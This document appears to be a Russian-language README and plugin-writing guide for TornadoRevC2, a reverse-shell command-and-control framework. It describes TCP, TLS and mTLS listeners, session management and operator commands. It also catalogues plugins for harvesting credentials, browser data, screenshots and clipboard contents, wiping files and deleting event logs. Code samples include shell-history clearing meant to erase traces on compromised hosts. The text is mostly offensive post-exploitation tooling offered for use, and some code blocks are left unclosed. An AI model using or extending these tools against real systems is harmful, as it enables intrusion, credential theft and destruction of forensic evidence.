### Конфигурация слушателей

TornadoRevC2 запускает **три независимых слушателя одновременно**, поэтому импланты могут подключаться по открытому тексту, TLS с аутентификацией сервера или взаимно аутентифицированному TLS в зависимости от модели угроз в рамках проекта:

| Слушатель | Порт по умолчанию | Флаг | Аутентификация | Сертификаты |
|----------|--------------|------|----------------|--------------|
| TCP      | `4444`       | `-p` | Нет           | Нет |
| TLS      | `8443`       | `-tp` | Аутентификация сервера | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS     | `9443`       | `-mp` | Взаимная (требуется сертификат клиента) | пакет `mtls_certs/` (CA + сервер + клиент) |

Флаг `-H` задаёт адрес привязки, общий для всех трёх слушателей. Все три могут быть включены одновременно; отключать один сейчас не требуется — оставьте порт свободным или непривязанным, чтобы игнорировать его.

**Автоматическая генерация сертификатов.** При первом запуске обработчик создаёт два изолированных каталога и инициализирует необходимые материалы:```text
tls_certs/
  server.pem          # self-signed server certificate
  server.key          # server private key

mtls_certs/
  ca.pem              # mTLS certificate authority (self-signed, 4096-bit RSA)
  ca.key              # CA private key
  ca.srl              # OpenSSL serial counter (auto-generated)
  server-mtls.pem     # server cert signed by CA
  server-mtls.key     # server private key
  client.pem          # client cert signed by CA — ship to implant
  client.key          # client private key  — ship to implant

**Общие плагины** (`firewall`, `ports`, `browser`, `credstore` и другие) существуют как единые унифицированные модули в `shared/`. **Платформозависимые плагины**, такие как `rdp` и `eventlogdel`, находятся исключительно в `windows/` или `linux/` и не дублируются в `shared/`.

Коллекторы выводят JSON, обёрнутый в маркерные токены (`__T_PLUGIN_START__` / `__T_PLUGIN_END__`). Общий раннер разбирает этот вывод, формирует отчёт для оператора и сохраняет результаты в каталоге журнала сессии.

---

## Требования и установка

**Обработчик (машина оператора):**

- Python 3.7 или новее
- OpenSSL (для автоматической генерации сертификатов TLS и mTLS)
- Git (опционально; требуется для команды оператора `update`)
- Сторонние пакеты Python не требуются```bash
git clone https://github.com/kamalx06/TornadoRevC2.git
cd TornadoRevC2
python3 tornadorevc2.py

### 2. Установка сессии

Разверните обратную оболочку из встроенного каталога (`payloads`) или используйте собственный имплант. При подключении TornadoRevC2 присваивает идентификатор сессии и начинает вести журнал в `logs/`.

### 3. Работа```bash
status                          # List active sessions
switch 1                        # Attach to session 1
sysinfo 1                       # Collect host metadata
run credstore 1                 # Credential store metadata
run memorymap 1 1234            # Process memory maps (requires PID)
run inmemory 1 sh ./linpeas.sh  # In-memory script execution
update                          # Pull latest from GitHub and restart (Git installs)

**Значения платформы:** `linux`, `windows`, `unix`. Linux и `unix` считаются совместимыми — плагин, зарегистрированный для `linux`, работает на обеих. Значение по умолчанию, если не указано: `["linux", "windows", "unix"]`.

**Несколько команд на модуль:** Один файл может зарегистрировать несколько команд, применив `@plugin.command` к нескольким функциям. Каждая получает независимое имя.

### Жизненный цикл выполнения

Когда оператор запускает `run myplugin 1 arg1 arg2`:```text
1. PluginManager resolves session #1 and looks up "myplugin" in the registry
2. Platform check: plugin.platforms vs session shell type (unix/windows)
3. SessionContext(handler, client_socket) is constructed
4. Handler invoked: run(ctx, ["arg1", "arg2"])
5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
6. Output printed to operator console; results logged under logs/<session>/plugins/
7. Exit code returned (0 = success)

if session.is_windows:
    cmd = "whoami /all"
else:
    cmd = "id 2>/dev/null || whoami"

output = session.run_shell(cmd, timeout=10.0)
if not output.strip():
    session.print("Plugin 'whoami' failed — no output from target.", "red")
    session.log_plugin_result("whoami", "", "no output")
    return 1

report = output.strip()
session.print(report, "cyan")
session.log_plugin_result("whoami", report)
session.log_command("run whoami", report)
return 0

**Когда использовать:** Простые пробы, однострочная энумерация, команды, не требующие структурированных отчётов.

**Ключевые методы:** `session.run_shell(cmd, timeout)`, `session.print(text, color)`, `session.log_plugin_result(name, report, detail='')`.

### Шаблон 2: Структурированный сборщик (рекомендуется)

Используйте для плагинов энумерации, которые собирают структурированные данные на цели и возвращают форматированный отчёт. Это шаблон, используемый всеми встроенными плагинами разведки (`firewall`, `ports`, `browser` и т. д.).

**Поток:**```text
Handler                              Target host
  │                                       │
  ├─ session.log_event("started")         │
  ├─ flush shell buffer                   │
  ├─ resolve platform (unix/windows)      │
  ├─ build collector command/script ─────►│  Linux: inline Python or native shell
  │                                       │  Windows: PowerShell script in-process
  │                                       ├─ invoke native OS commands
  │                                       ├─ assemble result dict
  │                                       └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
  │◄──────────────────────────────────────┤
  ├─ parse_collector_json(raw)            │
  ├─ formatter(data) → report string      │
  ├─ session.print(report)                │
  └─ session.log_plugin_result(...)       │

**Параметры `run_collector_plugin`:**

| Параметр | Тип | Описание |
|-----------|------|-------------|
| `session` | `SessionContext` | Целевая сессия |
| `plugin_name` | `str` | Имя, используемое в логах и сообщениях об ошибках |
| `unix_builder` | `Callable[[], str]` или `None` | Возвращает команду оболочки Unix/Linux; `None`, если недоступно |
| `win_builder` | `Callable[[], str]` или `None` | Возвращает скрипт PowerShell; `None`, если недоступно |
| `formatter` | `Callable[[dict], str]` | Преобразует разобранный JSON-словарь в строку отчёта |
| `timeout` | `float` | Максимальное время ожидания маркированного вывода в секундах (по умолчанию 30) |

Передайте `None` для платформенного билдера, чтобы пометить плагин как недоступный в этой ОС (см. [Плагины для конкретных платформ](#platform-specific-plugins)).

После сохранения внешнего плагина:```bash
plugins load processes
plugins info processes
run processes 1

pid = args[0].strip()
session.log_event(f"Plugin memorymap: started for PID {pid}")
session._handler._flush_shell(session._client_sock, timeout=1.0)

unix_cmd = _build_linux_command(pid)   # builder accepts runtime args
win_ps = _build_windows_command(pid)

raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
if raw is None:
    session.print("Plugin 'memorymap' failed — no response from target.", "red")
    return 1

data = parse_collector_json(raw)
report = format_memorymap_report(data)
session.print(report, "cyan")
session.log_plugin_result("memorymap", report, ...)
return 0

**Пример пост-обработки коллектора** (из `historydel`):```python
def run(session: SessionContext, args):
    # ... run collector via _run_collector_marked ...
    data = parse_collector_json(raw)

    # Additional in-memory cleanup in the interactive shell
    if session.is_unix:
        session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
    elif session.is_windows:
        session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)

    report = format_historydel_report(data)
    session.print(report, "green" if data.get("cleared") else "yellow")
    return 0

**Рекомендации:**

- Используйте `subprocess.check_output(..., timeout=N)` для каждой внешней команды.
- Обрезайте большие списки перед выводом (ограничение 50–80 записей).
- Обрабатывайте отсутствующие инструменты корректно — оставляйте разделы пустыми вместо выброса исключения.
- Избегайте встраивания маркерных строк в вывод; плагин `history` вычищает `__T_PLUGIN_*__` из собранного текста именно по этой причине.
- Делайте коллекторы компактными, чтобы оставаться в пределах лимита встроенного размера и избегать промежуточного размещения в `/tmp`.

### Коллекторы Windows

Коллекторы Windows — это строки сценариев PowerShell, возвращаемые из `_build_windows_command()`.

**Структура:**```python
from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START

def _build_windows_command():
    return rf"""
$ErrorActionPreference='SilentlyContinue'
$start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
$result = [ordered]@{{
  summary = @{{ count = 0 }}
  items = @()
}}
try {{
  Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
    $result.items += @{{ name = $_.Name; state = $_.State }}
  }}
  $result.summary.count = $result.items.Count
}} catch {{
  $result.summary.error = $_.Exception.Message
}}
Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
"""

### Соглашения о полезной нагрузке JSON

Коллекторы должны возвращать сериализуемый в JSON словарь. Средство запуска и форматтеры ожидают согласованного использования ключей:

| Ключ | Тип | Назначение |
|-----|------|---------|
| `summary` | `dict` | Высокоуровневые счётчики и статистика; отображается первым с помощью `format_generic_report()` |
| `error` | `str` | **Жёсткий сбой** — средство запуска выводит ошибку и возвращает код выхода 1 |
| `traceback` | `str` | Необязательно; регистрируется как деталь, когда установлен `error` |
| `reason` | `str` | **Мягкий сбой** — используйте с пользовательскими форматтерами (например, буфер обмена недоступен) |
| `ok` | `bool` | Флаг успеха для операционных плагинов (снимок экрана, буфер обмена) |
| Списки `dict` | `list` | Отображаются как таблицы с помощью `format_generic_report()` |
| Списки `str` | `list` | Отображаются как маркированные списки |
| Вложенный `dict` | `dict` | Отображается как разделы с метками |

**Плавная деградация:** Для многосекционной перечисления используйте отдельные ключи словаря для каждой секции и перехватывайте исключения локально. Не устанавливайте `error` верхнего уровня, если только весь коллектор не завершился сбоем — частичные результаты предпочтительнее.```python
result = {"summary": {}, "ufw": {}, "iptables": {}}
# Each backend probed independently; failures leave that section empty

Переиспользуемые вспомогательные функции в `plugins/shared/common.py`:

| Функция | Назначение |
|----------|---------|
| `format_generic_report(data, title='Results')` | Рендерер таблиц/секций по умолчанию |
| `format_section(title, fields, width=22)` | Секция «ключ-значение» |
| `format_list_section(title, items, empty='(none)')` | Маркированный список |
| `format_table_section(title, rows, columns)` | Строки словаря как столбцы |
| `format_firewall_report`, `format_memorymap_report`, etc. | Форматтеры для конкретных плагинов |

### Платформозависимые плагины

**Только для Windows:**```python
@plugin.command(name="rdp", platforms=["windows"], description="...")
def run(session: SessionContext, args):
    return run_collector_plugin(
        session, "rdp",
        None,                    # no Linux builder
        build_command,
        format_generic_report,
        timeout=35.0,
    )

**Кроссплатформенность с раздельными сборщиками:**

Некоторые общие плагины делегируют работу модулям сборки для конкретных платформ (например, `virtualization` импортирует из `linux/virtualization.py` и `windows/virtualization.py`). Точка входа `@plugin.command` остаётся в `shared/`; модули сборки в `linux/` или `windows/` не содержат декоратора и не регистрируются как независимые плагины.

### Внешние плагины

Внешние плагины позволяют расширять TornadoRevC2 без изменения репозитория.

**Настройка:**```bash
# Default location (created automatically if missing)
./plugins/myplugin.py

# Or set a custom directory
export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins

**Внешний и встроенный жизненный цикл:**

| Действие | Встроенный плагин | Внешний плагин |
|--------|-----------------|-----------------|
| `plugins unload` | Мягко отключён (модуль остаётся импортированным) | Полностью выгружен и снят с регистрации |
| `plugins reload` | Повторно импортирует модуль, очищает устаревшие регистрации команд | Удаляет из `sys.modules`, повторно импортирует с диска |
| Запуск | Автоматически загружается | Загружается по требованию |

Внешние модули импортируются как `tornado_ext_plugin_<name>` во избежание конфликтов пространств имён.

### API SessionContext

Каждый обработчик получает `SessionContext`, обёртывающий обработчик и клиентский сокет:

**Свойства метаданных:**

| Свойство | Тип | Описание |
|----------|------|-------------|
| `session_id` | `str` | Назначенный идентификатор сессии |
| `platform` | `str` | `unix`, `windows` или `unknown` |
| `is_windows` / `is_unix` | `bool` | Удобные флаги платформы |
| `sysinfo` | `dict` | Кэшированная информация о хосте из сбора `sysinfo` |
| `identity` | `dict` | Метаданные идентичности/отпечатка сессии |
| `addr` | `tuple` | Удалённый адрес |
| `tls` | `bool` | Использует ли сессия TLS |
| `name` | `str` | Понятное имя, назначенное оператором |
| `fingerprint` | `str` | Стабильный отпечаток хоста |
| `logger` | `SessionLogger` | Записывающее устройство логов для сессии (может быть `None`) |
| `colors` | `dict` | Коды цветов консоли |
| `socket` | socket | Необработанный клиентский сокет (для продвинутого использования) |

**Методы выполнения:**

| Метод | Описание |
|--------|-------------|
| `run_shell(cmd, timeout=15.0)` | Отправить команду, дождаться вывода, вернуть строку |
| `run_shell_streaming(cmd, timeout, idle_timeout, on_chunk)` | Потоковый вывод с обнаружением простоя; полезно для длительных команд |
| `run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws)` | Выполнить команду, соответствующую платформе, и извлечь помеченную полезную нагрузку |
| `get_cwd()` | Вернуть удалённый рабочий каталог |
| `collect_sysinfo(mode='stealth')` | Запустить сбор информации о хосте |

**Методы передачи:**

| Метод | Описание |
|--------|-------------|
| `upload(local_path, remote_path, resume=False)` | Загрузить файл на цель |
| `download(remote_path, local_path, resume=False)` | Скачать файл с цели |
| `verify_remote(remote_path)` | Проверить размер удалённого файла и SHA-256 |

**Логирование и вывод:**

| Метод | Описание |
|--------|-------------|
| `print(text, color=None)` | Вывести в консоль оператора с опциональным цветом (`red`, `green`, `yellow`, `cyan`) |
| `log_event(message)` | Добавить событие с меткой времени в `session.log` |
| `log_command(cmd, output)` | Записать команду и вывод в `session.log` |
| `log_plugin_result(name, report, detail='')` | Записать отчёт в `logs/<session>/plugins/<name>_<timestamp>.log` |

### Обработка ошибок и коды возврата

| Возврат | Значение | Поведение обработчика |
|--------|---------|------------------|
| `0` | Успех | Предупреждение не отображается |
| `1` (или любое ненулевое) | Ошибка | Жёлтое предупреждение: `Plugin 'name' returned code N` |
| Неперехваченное исключение | Ошибка | Красное сообщение об ошибке; записывается в лог сессии |

**Режимы отказа коллектора** (обрабатываются `run_collector_plugin`):

| Условие | Поведение |
|-----------|----------|
| Тайм-аут / нет маркеров в выводе | Выход 1, запись "no response" |
| Вывод не является допустимым JSON | Выход 1, запись необработанного вывода (усечённого) как detail |
| Присутствует `data["error"]` | Выход 1, вывод ошибки и трассировки |
| Частичные отказы секций | **Не** должны устанавливать `error` верхнего уровня; оставить секцию пустой |

**Мягкие отказы** (операционные плагины): используйте `reason` или `ok: false` и обрабатывайте в пользовательском форматтере или обработчике, а не полагайтесь на жёсткую проверку `error` раннера.

### Лучшие практики

1. **Предпочитайте нативные команды ОС** вместо загружаемых инструментов — это соответствует дизайну фреймворка с минимальными зависимостями.
2. **Не записывайте файлы на цели** для перечисления; возвращайте данные через канал оболочки. Операционные плагины (wiper, historydel) являются исключениями с чётким назначением.
3. **Деградируйте изящно** — проверяйте каждый бэкенд независимо; пустые секции лучше полного отказа.
4. **Ограничивайте размер вывода** — обрезайте списки до 50–80 элементов; усекайте длинные строки до 200–500 символов.
5. **Устанавливайте реалистичные тайм-ауты** — быстрые проверки: 15–30 с; полное перечисление: 45–75 с.
6. **Логируйте последовательно** — вызывайте `session.log_event()` в начале, `session.log_plugin_result()` по завершении, `session.log_command()` для экспорта транскрипта.
7. **Проверяйте аргументы заранее** — возвращайте 1 с сообщением об использовании перед отправкой чего-либо на цель.
8. **Тестируйте из обеих консолей** — основной обработчик (`run plugin <ID>`) и присоединённая сессия (`switch`, затем `run plugin`).
9. **Используйте `plugins reload`** во время разработки, чтобы подхватывать изменения без перезапуска обработчика.
10. **Удаляйте чувствительные маркеры** из собранного вывода, если ваш плагин читает произвольное содержимое файлов.

### Эталонные реализации

| Плагин | Файл | Шаблон | Примечания |
|--------|------|---------|-------|
| `firewall` | `plugins/shared/firewall.py` | Кроссплатформенный коллектор | Многобэкендовая изящная деградация |
| `ports` | `plugins/shared/ports.py` | Кроссплатформенный коллектор | Нативные `ss` / `Get-NetTCPConnection` |
| `history` | `plugins/shared/history.py` | Кроссплатформенный коллектор | Сборщики Linux Python + Windows PowerShell |
| `memorymap` | `plugins/shared/memorymap.py` | Пользовательский обработчик | Аргумент PID, динамический сборщик |
| `screenshot` | `plugins/shared/screenshot.py` | Пользовательский обработчик | Base64 в JSON; сохранение PNG на стороне оператора |
| `clipboard` | `plugins/shared/clipboard.py` | Пользовательский обработчик | Мягкий отказ через поле `reason` |
| `historydel` | `plugins/shared/historydel.py` | Пользовательский обработчик | Деструктивный; очистка оболочки после сбора |
| `wiper` | `plugins/shared/wiper.py` | Пользовательский обработчик | Деструктивный; проверка аргумента пути |
| `services` | `plugins/windows/services.py` | Коллектор только для Windows | Минимальная точка входа |
| `eventlogdel` | `plugins/windows/eventlogdel.py` | Коллектор только для Windows | Деструктивный; отчёт об отказах по каждому журналу |
| `rdp` | `plugins/windows/rdp.py` | Коллектор только для Windows | Перечисление реестра и брандмауэра |
| `virtualization` | `plugins/shared/virtualization.py` | Общая точка входа + раздельные сборщики | Импортирует сборщики `linux/` и `windows/` |
| `secrets` | `plugins/linux/secrets.py` | Коллектор только для Linux | Листинг с ограничением по платформе |

Для новых плагинов перечисления начните с `run_collector_plugin` в `plugins/shared/runner.py` и скопируйте структуру из `firewall.py` или `ports.py`. Для плагинов с аргументами или побочными эффектами обратитесь к `memorymap.py` или `wiper.py`.

---

## Логирование сессий

Каждая сессия записывает в изолированный каталог в `logs/`:```text
logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
  session.log           Operator commands and console output
  sysinfo.json          Host information snapshot
  transfers/            Upload and download event logs
  executions/           In-memory payload execution metadata
  plugins/              Plugin reports and collector output
      quickenum_20260812_054812.log
      firewall_20260812_055130.log
      screenshot_20260812_055412.png

---

## Конфигурация TLS и mTLS

TornadoRevC2 запускает три изолированных слушателя, каждый со своим источником сертификатов. Всё в `tls_certs/` и `mtls_certs/` автоматически генерируется при первом запуске и никогда не перезаписывается.

| Слушатель | Порт | Аутентификация клиента | Сертификаты |
|----------|------|-------------|--------------|
| TCP | `4444` | нет | — |
| TLS | `8443` | только сервер | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | взаимная (требуется сертификат клиента) | пакет `mtls_certs/` |

### TLS

Автоматически генерируется как самоподписанная пара (`CN=localhost`, RSA-2048, 3650 дней).

Чтобы использовать собственные:```bash
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
  -c tls_certs/server.pem -k tls_certs/server.key

### Обновление активной сессии до mTLS

Существующие сессии на простом TCP или TLS с аутентификацией сервера можно перевести на mTLS-листенер без перезапуска обработчика. Плагин `upgrade_mtls` загружает `client.pem`, `client.key` и `ca.pem` на цель, запускает фоновую оболочку, которая предъявляет клиентский сертификат, и (по умолчанию) удаляет пакет с диска после установления новой сессии.```bash
# From the main handler prompt
run upgrade_mtls 1 --port 9443 --host 10.10.14.7
run upgrade_mtls 1 --keep-bundle       # leave certs on disk after launch
run upgrade_mtls 1 --no-upload         # certificate bundle already uploaded manually

# From inside an attached session (switch 1)
run upgrade_mtls